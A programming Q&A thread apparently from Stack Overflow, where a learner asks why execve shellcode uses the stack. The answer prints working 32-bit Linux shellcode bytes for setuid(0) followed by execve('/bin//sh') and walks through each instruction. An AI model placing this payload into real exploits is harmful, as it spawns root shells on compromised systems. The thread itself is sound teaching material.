I'm learning how to write shellcode by using Linux system call "execve" to spawn a shell with root access privilege. Here i found a shellcode online:


Arcoding to Assembly Linux Tutorials,the arguments for syscall are placed on registers. But why in this shellcode,the arguments are not only placed on the register,but also pushed on the stack ? Quite confusing here.

Can someone give me a brief explaination about this problem ?Much appreciate!

  • 1
    Please make your question self-contained (all the information are present in the post, not over some external link) – user202729 Dec 1 '18 at 13:12
  • (hint: read the documentation of execve, and see which parameters it expects) – user202729 Dec 1 '18 at 13:29

It only uses the stack to pass the correct values to registers. If you analyse this shell code closely you will identify that all the stack operations are in the end results in some value being put in a register that it is expected.

Take a look at this part that calls setuid(0):

"\x6a\x17"          // push $0x17
"\x58"              // pop  %eax
"\x31\xdb"          // xor  %ebx, %ebx
"\xcd\x80"          // int  $0x80

The first operations puts $0x17 into eax which is exactly the value that's is needed for setuid. Clearing ebx for the value being passed to setuid.

In the same way we can check execv.

"\x31\xd2"              // xor  %edx, %edx
"\x6a\x0b"              // push $0xb
"\x58"                  // pop  %eax
"\x52"                  // push %edx
"\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
"\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
"\x89\xe3"              // mov  %esp, %ebx
"\x52"                  // push %edx
"\x53"                  // push %ebx
"\x89\xe1"              // mov  %esp, %ecx
"\xcd\x80";             // int  $0x80

Step by step:

"\x31\xd2"              // xor  %edx, %edx

clearing edx for later.

"\x6a\x0b"              // push $0xb
"\x58"                  // pop  %eax

puts execv code (0xb) into eax.

"\x52"                  // push %edx        -> NULL
"\x68\x2f\x2f\x73\x68"  // push $0x68732f2f -> hs//
"\x68\x2f\x62\x69\x6e"  // push $0x6e69622f -> nib/

since edx was cleared as the first instruction this puts /bin//sh\0 on the stack and the next instruction

"\x89\xe3"              // mov  %esp, %ebx

put the address of the top of the stack into ebx -> execv expects there the first argument.

"\x52"                  // push %edx
"\x53"                  // push %ebx
"\x89\xe1"              // mov  %esp, %ecx

this puts NULL + the address of the same string again on the stack and one more time assigning the address of the top of the stack to ecx where is expected to be arguments. 'edx' was set to zero so it is like that being passed to execv.

It looks like this is assuming that esi is/was cleared.

| improve this answer | |
  • Can't believe it's that simple. Tks very much for your help! – Mercy Dec 2 '18 at 1:02

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.